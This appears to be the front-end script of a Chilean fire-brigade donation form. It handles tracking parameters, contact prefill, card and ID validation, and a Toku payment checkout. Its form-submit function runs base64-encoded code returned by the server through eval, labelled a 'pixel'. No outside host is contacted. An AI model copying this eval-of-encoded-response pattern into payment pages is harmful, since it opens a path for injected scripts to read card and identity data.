function getParameterByName(name, url) { if (!url) url = window.location.href; name = name.replace(/[\[\]]/g, '\\$&'); var regex = new RegExp('[?&]' + name + '(=([^&#]*)|&|#|$)'), results = regex.exec(url); if (!results) return null; if (!results[2]) return ''; return decodeURIComponent(results[2].replace(/\+/g, ' ')); } function getParameterByNameTrack(name, url) { if (!url) url = window.location.href; name = name.replace(/[\[\]]/g, '\\$&'); var regex = new RegExp('[?&]' + name + '(=([^&#]*)|&|#|$)'), results = regex.exec(url); if (!results) return null; if (!results[2]) return ''; return decodeURIComponent(results[2].replace(/\+/g, ' ')); } function setFomsParam(name,value) { $("form").each(function(){ $(this).append(''); }); } $(function(){ adjustBodyHeight(); // Adjust the height on window resize $(window).resize(function() { adjustBodyHeight(); }); function adjustBodyHeight() { $('body').css('height', $(window).height()); } if($("input[name='institucion_id']").val() == 1){ $("#boton_anterior").appendTo("#paso_2_fieldset"); } $("#codigo_captador").blur(function(){ if($(this).val().length == 4){ $("option[value='Cta. Cte. Bancaria']").hide(); $("option[value='Cuenta Vista']").hide(); $("option[value='Cuenta Rut']").hide(); $("#monto_seleccionado option[value='3000']").hide(); $("#monto_seleccionado option[value='5000']").hide(); } else { $("option[value='Cta. Cte. Bancaria']").show(); $("option[value='Cuenta Vista']").show(); $("option[value='Cuenta Rut']").show(); $("#monto_seleccionado option[value='3000']").show(); $("#monto_seleccionado option[value='5000']").show(); } }); if(getParameterByName("utm_source")){ localStorage.setItem('utm_source',getParameterByName("utm_source")); setFomsParam("utm_source",localStorage.getItem('utm_source')); } else { if (localStorage.getItem('utm_source')) { setFomsParam("utm_source",localStorage.getItem('utm_source')); } } if(getParameterByName("utm_medium")){ localStorage.setItem('utm_medium',getParameterByName("utm_medium")) setFomsParam("utm_medium",localStorage.getItem('utm_medium')); } else { if (localStorage.getItem('utm_medium')) { setFomsParam("utm_medium",localStorage.getItem('utm_medium')); } } if(getParameterByName("utm_campaign")){ localStorage.setItem('utm_campaign',getParameterByName("utm_campaign")) setFomsParam("utm_campaign",localStorage.getItem('utm_campaign')); } else { if (localStorage.getItem('utm_campaign')) { setFomsParam("utm_campaign",localStorage.getItem('utm_campaign')); } } if(getParameterByName("utm_id")){ localStorage.setItem('utm_id',getParameterByName("utm_id")) setFomsParam("utm_id",localStorage.getItem('utm_id')); } else { if (localStorage.getItem('utm_id')) { setFomsParam("utm_id",localStorage.getItem('utm_id')); } } if(getParameterByName("utm_term")){ localStorage.setItem('utm_term',getParameterByName("utm_term")) setFomsParam("utm_term",localStorage.getItem('utm_term')); } else { if (localStorage.getItem('utm_term')) { setFomsParam("utm_term",localStorage.getItem('utm_term')); } } if(getParameterByName("utm_content")){ localStorage.setItem('utm_content',getParameterByName("utm_content")) setFomsParam("utm_content",localStorage.getItem('utm_content')); } else { if (localStorage.getItem('utm_content')) { setFomsParam("utm_content",localStorage.getItem('utm_content')); } } if(getParameterByName("vid")){ localStorage.setItem('vid',getParameterByName("vid")); setFomsParam("vid",localStorage.getItem('vid')); } else { if (localStorage.getItem('vid')) { setFomsParam("vid",localStorage.getItem('vid')); } } var _cid_ = getParameterByName('_cid_'); if(_cid_ != null){ $.ajax({ type : 'POST', url : 'https://haztesocio.ayudabomberos.cl', data : { "_ajax_":'getCID', "_cid_": _cid_ }, dataType : 'jsonp', success : function(dataSet) { $("input[name='crm_contacto[nombre]']").val(dataSet.nombre); $("input[name='crm_contacto[app]']").val(dataSet.app); $("input[name='crm_contacto[rut]']").val(dataSet.rut); $("input[name='crm_contacto[email]']").val(dataSet.email); $("input[name='crm_contacto[celular]']").val(dataSet.celular); $("#consulta_id").val(dataSet.consulta_id); $("input[name='contacto_id']").val(dataSet.contacto_id); $("input[name='tipo']").val(dataSet.tipo); $("#comuna_region option[value='"+dataSet.comuna+"']").prop('selected', "true"); var title= $("select[name='crm_contacto[comuna]']").val(dataSet.comuna); $("select[name='crm_contacto[comuna]']").change(); } }); } }); $(function() { $('#textp_tipo_pago').mask('0000 0000 0000 0000'); $('#fecha_vencimiento_mes').mask('00'); $('#fecha_vencimiento_anno').mask('0000'); $("#textp_tipo_pago").blur(function() { if($(this).val()==""){ return false; } $("#msform .submit").prop("disabled",true); $("#msform .submit").val("Validando"); var obj = $(this) $.post("https://haztesocio.ayudabomberos.cl", { "_ajax_" : "validarTipoPago", "tipo" : $("#msform #tipo_pago").val(), "rut" : $("#msform input[name='crm_contacto[rut]']").val(), "numero" : obj.val() }, function(e){ if (e == false) { alert($("#MedioPago").val()+" inválida."); obj.val("") } $(".submit").prop("disabled",false); $(".submit").val("Enviar"); }, "jsonp"); }); if (getParameterByName("vid")) { $.cookie('vid', getParameterByName("vid")); } if ($.cookie('vid') != undefined && $.cookie('vid') != "" ) { $("#msform").append(''); } if (getParameterByName("uid")) { $.cookie('uid', getParameterByName("uid")); } if ($.cookie('uid') != undefined && $.cookie('uid') != "" ) { $("#msform").append(''); } if ($('#msform input[name="institucion_id"]').val() == 34) { $("option[value='Cta. Cte. Bancaria']").remove(); } //GRACIAS alertify.genericDialog || alertify.dialog('genericDialog',function() { return { main:function(content) { this.setContent(content); }, setup:function() { return { focus: { element:function() { return this.elements.body.querySelector(this.get('selector')); }, select:true }, options: { basic:true, maximizable:false, resizable:false, padding:false } }; }, settings: { selector:undefined } }; }); //FIN GRACIAS /*PASOS FORM*/ var current_fs, next_fs, previous_fs; //fieldsets var left, opacity, scale; //fieldset properties which we will animate var animating; //flag to prevent quick multi-click glitches /*FIN*/ $("#telefono").blur(function(e) { formatPhoneNumber("telefono"); }); function formatPhoneNumber(id) { var phoneValue = $("#"+id).val().trim(); //get current field value var phoneLength = $("#"+id).val().length; var newValue = phoneValue.replaceAll("-", ""); if (isNaN(newValue)){ $("#"+id).val(''); alert("Celular inválido."); return; } if (phoneLength > 11) { $("#"+id).val(''); alert("Celular inválido"); return; } var formattedPhone = newValue.substr(0, 1) + '-' + newValue.substr(1, 4) + '-' + newValue.substr(5, 4); $("#"+id).val(formattedPhone); } $('#otromonto').keyup(function() { var valor = $(this).val(); // Obtener el valor actual del campo de entrada var entero = parseInt(valor, 10); // Convertirlo a un entero if (isNaN(entero)) { //alert(1);// Si el resultado es NaN, opcionalmente establecer a 0 entero = ""; // O puedes dejarlo como una cadena vacía '' } $(this).val(entero); // Establecer el valor procesado de vuelta en el campo de entrada }); $("#telefono").keyup(function(e) { //the "phoneNumber" can be any other input field ID if (e.keyCode == 8){ //trap the backspace key so that when deleting value, "checkPhoneNumber" will not be called. //do nothing } else { checkPhoneNumber("telefono"); //call checkPhoneNumber function and put "phoneNumber" field ID as parameter } }); function checkPhoneNumber(id) { var phoneValue = $("#"+id).val(); //get current field value var phoneLength = $("#"+id).val().length; //get current field value length if (phoneLength == 1){ //if current length is 3, then insert a hyphen phoneValue += "-"; } else if (phoneLength == 6){ //if current length is 7, then insert a hyphen phoneValue += "-"; } else if (phoneLength > 6){ $("#"+id).val(''); } //check is_digit for new character; if not, then use substr to get rid of it var tempValue = phoneValue.replace(/-/g, ""); //assign tempValue with phoneValue, which performs global string replacement (replace "-" with nothing) if (is_digit(tempValue) == false){ //check if all input characters are digits phoneValue = (phoneValue.substr(0, phoneLength-1)); //if not, then use substr to get rid of the last entered character } //limit the phone value to 12 character if (phoneLength > 11){ phoneValue = (phoneValue.substr(0, 11)); //if field value length is greater than 12, then use substr to get rid of last character } $("#"+id).val(phoneValue); } function is_digit(input) { if (isNaN(input)) { return false; } else { return true; } } $(".mdpclass").click(function(){ if($(this).data("mdp")=="tdc"){ // $("#tdc_data").removeClass("hide"); $("input[name='crm_contacto[nombre]']").addClass("hide"); $("input[name='crm_contacto[app]']").addClass("hide"); $("input[name='crm_contacto[email]']").addClass("hide"); $("input[name='crm_contacto[celular]']").addClass("hide"); $(".btns_monto").addClass("hide"); $("#titulo_monto").addClass("hide"); // $('input[type="radio"]').removeClass("required"); $("#otromonto").removeClass("required"); // $("input[name='crm_contacto[nombre]']").removeClass("required"); // $("input[name='crm_contacto[app]']").removeClass("required"); //$("input[name='crm_contacto[email]']").removeClass("required"); // $("input[name='crm_contacto[celular]']").removeClass("required"); $("#titulo_rut").removeClass("hide"); $("#priv3").removeClass("hide"); $("#textp_tipo_pago").focus(); $("#MedioPago").val("Tarjetas de Crédito"); // $("#textp_tipo_pago").addClass("required"); // $("#fecha_vencimiento_mes").addClass("required"); //$("#fecha_vencimiento_anno").addClass("required"); }else{ // $("#tdc_data").addClass("hide"); $("#MedioPago").val("toku"); $(".btns_monto").removeClass("hide"); $("#titulo_monto").removeClass("hide"); // $("#otromonto").addClass("required"); $("#textp_tipo_pago").removeClass("required"); $("#priv3").addClass("hide"); // $('input[type="radio"]').addClass("required"); $("input[name='crm_contacto[nombre]']").removeClass("hide"); $("input[name='crm_contacto[app]']").removeClass("hide"); $("input[name='crm_contacto[email]']").removeClass("hide"); $("input[name='crm_contacto[celular]']").removeClass("hide"); $("#titulo_rut").addClass("hide"); // $("#fecha_vencimiento_mes").removeClass("required"); // $("#fecha_vencimiento_anno").removeClass("required"); } }); $("#msform").submit(function(e) { e.preventDefault(); var obliga = Array(); var valid = true; var monto=false; $("#msform #paso_1_fieldset").find(".required").each(function(){ if ($(this).attr("type")=="checkbox"){ if (!$(this).prop("checked")) { animating = ""; valid = false; obliga.push($(this).attr("placeholder")); } }else{ if($("#MedioPago").val() == "toku" && $(this).attr("name") =="crm_contacto[nombre]" && $(this).val()==""){ valid = false; obliga.push($(this).attr("placeholder")); } if($("#MedioPago").val() == "toku" && $(this).attr("name") =="crm_contacto[app]" && $(this).val()==""){ valid = false; obliga.push($(this).attr("placeholder")); } if($("#MedioPago").val() == "toku" && $(this).attr("name") =="crm_contacto[email]" && $(this).val()==""){ valid = false; obliga.push($(this).attr("placeholder")); } if($("#MedioPago").val() == "toku" && $(this).attr("name") =="crm_contacto[rut]" && $(this).val()==""){ valid = false; obliga.push($(this).attr("placeholder")); } if($("#MedioPago").val() == "toku" && $(this).attr("name") =="crm_contacto[celular]" && $(this).val()==""){ valid = false; obliga.push($(this).attr("placeholder")); } //alert($("#MedioPago").val()); if($("#MedioPago").val() == "Tarjetas de Crédito" && $(this).attr("name") =="crm_contacto[rut]" && $(this).val()==""){ valid = false; obliga.push($(this).attr("placeholder")); } } }); // var options = document.getElementsByName('monto_doancion').find(".required"); var options = document.querySelectorAll('input[type="radio"].required'); var selectedOption = false; // Recorrer los elementos obtenidos options.forEach(radio => { // Hacer algo con cada radio if(radio.checked){ //alert(radio.value) selectedOption = true; } }); if (!selectedOption && $("#otromonto").val()=="" && !$(".btns_monto").hasClass("hide")) { // Si ningún radio button está seleccionado, muestra un mensaje de error y previene el envío del formulario valid=false; obliga.push("Monto"); } //alert( $("#otromonto").val()); if(!selectedOption && $("#otromonto").val()<3000 && $("#otromonto").val()>0 && !$(".btns_monto").hasClass("hide")){ valid=false; obliga.push("El monto mínimo es $3.000"); } obliga = obliga.join(", "); if (valid == false) { alert("Los siguientes campos son obligatoros : "+obliga); return false; } if ($("#MedioPago").val() == "toku" ) { let rut = $("input[name='crm_contacto[rut]']").val(); let institucionId = $("input[name='institucion_id']").val(); let otroMonto = $('#otromonto').val(); let monto = (otroMonto) ? otroMonto : 0; var options = document.querySelectorAll('input[type="radio"].required'); // Recorrer los elementos obtenidos options.forEach(radio => { // Hacer algo con cada radio if(radio.checked){ monto=radio.value; } }); let dataForm = { "_ajax_":'saveCustomerToku', "government_id": rut.toUpperCase(), "mail": $("input[name='crm_contacto[email]']").val(), "name": $("input[name='crm_contacto[nombre]']").val() + ' ' + $("input[name='crm_contacto[app]']").val(), "phone_number": $("input[name='crm_contacto[celular]']").val(), "consulta_id": $("#consulta_id").val(), "institucion_id": institucionId, "vid":$("input[name='crm_consultas[vid]']").val(), "monto_pago": monto } let montoFormateado = new Intl.NumberFormat('es-CL', { style: 'currency', currency: 'CLP' }).format(monto); $(".monto_cbo").html(montoFormateado); $.post("https://santiago.ayudabomberos.cl", dataForm, function(resp) { if (resp.response) { // $("#msform").hide(); $('#modal-toku').modal({backdrop: 'static', keyboard: false, show: true}) ; $("#body-modaltoku").append('
'); const toku = new Toku('HbFB_1XFQG-IIGF8gJzelxocR3sZPWze4Zuo4Iq5ieA', { containerId:"formulario1", iframeId:"toku-frame", onSuccess: tokuok, onError: tokuerror, }); let dataTokuForm = { customerId: resp.data.id, accountId: resp.data.accountId, subscriptionId: resp.data.subscriptionId, }; toku.init('recurringCheckout', dataTokuForm); function tokuok(){ $("input[name='tipo_toku']").val(5026); $("input[name='toku_resp']").val(10); enviarFormulario(); } function tokuerror(){ $("input[name='tipo_toku']").val(5026); $("input[name='toku_resp']").val(20); //alert(20); $("input[name='monto_otro']").val(monto); enviarFormulario(); } $("#consulta_id").val(resp.data.consulta_id); $('#modal-toku').on('hidden.bs.modal', function (e) { $("#body-modaltoku").html(''); $("input[name='tipo_toku']").val(5026); $("input[name='toku_resp']").val(20); $("input[name='monto_otro']").val(monto); enviarFormulario(); }) } else { $("input[name='tipo_toku']").val(5026); $("input[name='toku_resp']").val(20); alert(resp.data.error); } },"json"); } else { $("input[name='monto_otro']").val(monto); enviarFormulario(); } return false; }); let error_rut = 0; $(".rut").Rut({ on_error: function() { alert("Rut no valido"); $("input[name='crm_contacto[rut]']").val(''); $("input[name='crm_contacto[rut]']").focus(); } }); $(".numero").keydown(function (event) { return NumericField($(this).val(), event, true); }); $("#otromonto").focus(function(){ if($(this).val()==''){ $(this).val(10000); $("#monto_otro").val(10000); }; var options = document.querySelectorAll('input[type="radio"].required'); var selectedOption = false; // Recorrer los elementos obtenidos options.forEach(radio => { // Hacer algo con cada radio radio.checked=false; }); }); $("#otromonto").blur(function(){ var valor = $(this).val(); var entero = parseInt(valor, 10); if(entero>=0 && entero<5000){ alert("El monto mínimo es $5.000") $("#otromonto").val(5000); } // Establecer el valor procesado de vuelta en el campo de entrada }); $("#otromonto").keypress(function(){ $("#monto_otro").val($(this).val()); }); $(".monto_radio").click(function(){ $(this).addClass("required"); $("#otromonto").val(''); }); $("#monto_otro").blur(function(){ $("#MedioPago").val("").change(); if ($("#MedioPago").val() == "Payku") { if ($("input[name='institucion_id']").val() == 495) { if ($(this).val() < 3000) { alert("El monto debe ser superior a $3.000"); $(this).val(""); } else if ($(this).val() < 5000) { $("option[value='Cta. Cte. Bancaria']").hide(); $("option[value='Cuenta Vista']").hide(); $("option[value='Cuenta Rut']").hide(); } else { $("option[value='Cta. Cte. Bancaria']").show(); $("option[value='Cuenta Vista']").show(); $("option[value='Cuenta Rut']").show(); } } else { if ($(this).val() < 5000) { alert("El monto debe ser superior a $5.000"); $(this).val(""); } } return false; } if ($("#codigo_captador").attr("id") == "codigo_captador") { if ($("#codigo_captador").val().length == 4) { if ($(this).val() < 7000) { alert("El monto debe ser superior o igual a $7.000"); $(this).val(""); } } else if ($(this).val() < 5000) { alert("El monto debe ser superior o igual a $5.000"); $(this).val(""); } } else { if ($("input[name='institucion_id']").val()== 495) { if ($(this).val() < 3000) { alert("El monto debe ser superior o igual a $3.000"); $(this).val(""); } } else { if ($(this).val() < 5000) { alert("El monto debe ser superior o igual a $5.000"); $(this).val(""); } } } if ($(this).val()<5000) { $("option[value='Cta. Cte. Bancaria']").hide(); $("option[value='Cuenta Vista']").hide(); $("option[value='Cuenta Rut']").hide(); } else { $("option[value='Cta. Cte. Bancaria']").show(); $("option[value='Cuenta Vista']").show(); $("option[value='Cuenta Rut']").show(); } if ($("#codigo_captador").attr("id") == "codigo_captador") { $("#codigo_captador").blur(); } $("#comuna_falp").change(); }); }); var strUserAgent = navigator.userAgent.toLowerCase(); var isIE = strUserAgent.indexOf('msie') > -1; var reKeyboardChars = /[\x03\x08\x09\x0D\x16\x18\x1A\x2E\x23\x24\x25\x26\x27\x28\x2D]/; var reNumber = /^((\d{1,3}\.)*\d{3}|\d*,{0,1}\d+|(\d{1,3}\.)*\d{3},{0,1}\d+|\d*)$/; function NumericField(str, objEvent, isFloat) { oldValue = str; strKey = GetChar(objEvent); if (((objEvent.which) ? objEvent.which : event.keyCode) == 13 || (((objEvent.which) ? objEvent.which : event.keyCode) == 190 && isFloat)){ return true; } if (!KeyNumber(objEvent) && !reKeyboardChars.test(strKey) && !(objEvent.ctrlKey && reClipboard.test(strKey))){ return false; } return true; } function KeyNumber(objEvent) { return reNumber.test(GetChar(objEvent)); } function GetChar(objEvent) { var arrKeys = new Array(); arrKeys[96] = '0'; arrKeys[97] = '1'; arrKeys[98] = '2'; arrKeys[99] = '3'; arrKeys[100] = '4'; arrKeys[101] = '5'; arrKeys[102] = '6'; arrKeys[103] = '7'; arrKeys[104] = '8'; arrKeys[105] = '9'; arrKeys[111] = '/'; arrKeys[193] = '/'; iKeyCode = GetKeyCode(objEvent); if (arrKeys[iKeyCode] != null) { return arrKeys[iKeyCode]; } return String.fromCharCode(iKeyCode); } $("#comuna_falp").on("change",function() { var comunas =['13101','13102','13103','13104','13105','13106','13107','13108','13109','13110','13111','13112','13113','13114','13115','13116','13117','13118','13119','13120','13121','13122','13123','13124','13125','13126','13127','13128','13129','13130','13131','13132','13201','13401','13402','01111']; var pos = comunas.indexOf($(this).val()); if (pos==-1) { $("option[value='Cta. Cte. Bancaria']").hide(); $("option[value='Enel']").hide(); } else { $("option[value='Cta. Cte. Bancaria']").show(); $("option[value='Enel']").show(); } $('#MedioPago').prop('selectedIndex',0); $('#MedioPago').change(); }); if ($("#comuna_falp").length > 0) { setTimeout(function(){ $("#comuna_falp").select2(); },400); } function GetKeyCode(objEvent) { if (isIE) { return objEvent.keyCode; } return objEvent.which; } var Base64 = { _keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=", encode: function(e) { var t = ""; var n, r, i, s, o, u, a; var f = 0; e = Base64._utf8_encode(e); while (f < e.length) { n = e.charCodeAt(f++); r = e.charCodeAt(f++); i = e.charCodeAt(f++); s = n >> 2; o = (n & 3) << 4 | r >> 4; u = (r & 15) << 2 | i >> 6; a = i & 63; if (isNaN(r)) { u = a = 64 } else if (isNaN(i)) { a = 64 } t = t + this._keyStr.charAt(s) + this._keyStr.charAt(o) + this._keyStr.charAt(u) + this._keyStr.charAt(a) } return t }, decode: function(e) { var t = ""; var n, r, i; var s, o, u, a; var f = 0; e = e.replace(/[^A-Za-z0-9\+\/\=]/g, ""); while (f < e.length) { s = this._keyStr.indexOf(e.charAt(f++)); o = this._keyStr.indexOf(e.charAt(f++)); u = this._keyStr.indexOf(e.charAt(f++)); a = this._keyStr.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } t = Base64._utf8_decode(t); return t }, _utf8_encode: function(e) { e = e.replace(/\r\n/g, "\n"); var t = ""; for (var n = 0; n < e.length; n++) { var r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r) } else if (r > 127 && r < 2048) { t += String.fromCharCode(r >> 6 | 192); t += String.fromCharCode(r & 63 | 128) } else { t += String.fromCharCode(r >> 12 | 224); t += String.fromCharCode(r >> 6 & 63 | 128); t += String.fromCharCode(r & 63 | 128) } } return t }, _utf8_decode: function(e) { var t = ""; var n = 0; var r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t } } function enviarFormulario() { $.post("https://santiago.ayudabomberos.cl",$("#msform").serializeArray(),function(e){ if (e.pixel) { eval(Base64.decode(e.pixel)); } if (e.error) { alert(e.error); } else if (e.redirect) { location.href=e.redirect; } /*else { $("#modal-gracias").modal("show"); $('#modal-gracias').on('hidden.bs.modal', function (e) { location.reload(); }); }*/ },"jsonp"); } function detectCard(obj) { var ccNum =obj.value.replace(/ /g, ''); var visaPattern = /^4/; var masterPattern = /^5[1-5]/; var amexPattern = /^3[47]/; var dinersPattern = /^3(?:0[0-5]|[68])/; if (visaPattern.test(ccNum)) { document.getElementById('cardIcon').innerHTML = ''; $("#tipo_pago").val("Visa"); } else if (masterPattern.test(ccNum)) { document.getElementById('cardIcon').innerHTML = ''; $("#tipo_pago").val("Mastercard"); } else if (amexPattern.test(ccNum)) { document.getElementById('cardIcon').innerHTML = ''; $("#tipo_pago").val("American Express"); } else if (dinersPattern.test(ccNum)) { document.getElementById('cardIcon').innerHTML = '' $("#tipo_pago").val("Diners"); } else { document.getElementById('cardIcon').innerHTML = ''; $("#tipo_pago").val("ninguna"); } } function validateExpMonth(obj) { var expMonth = obj.value; if (expMonth < 1 || expMonth > 12) { alert('Por favor, introduce un mes de expiración válido.'); obj.value = ''; } } function validateExpYear(obj) { var expYear =obj.value; var currentYear = new Date().getFullYear(); if (expYear.length !== 4 || expYear < currentYear) { alert('Por favor, introduce un año de expiración válido.'); obj.value = ''; } }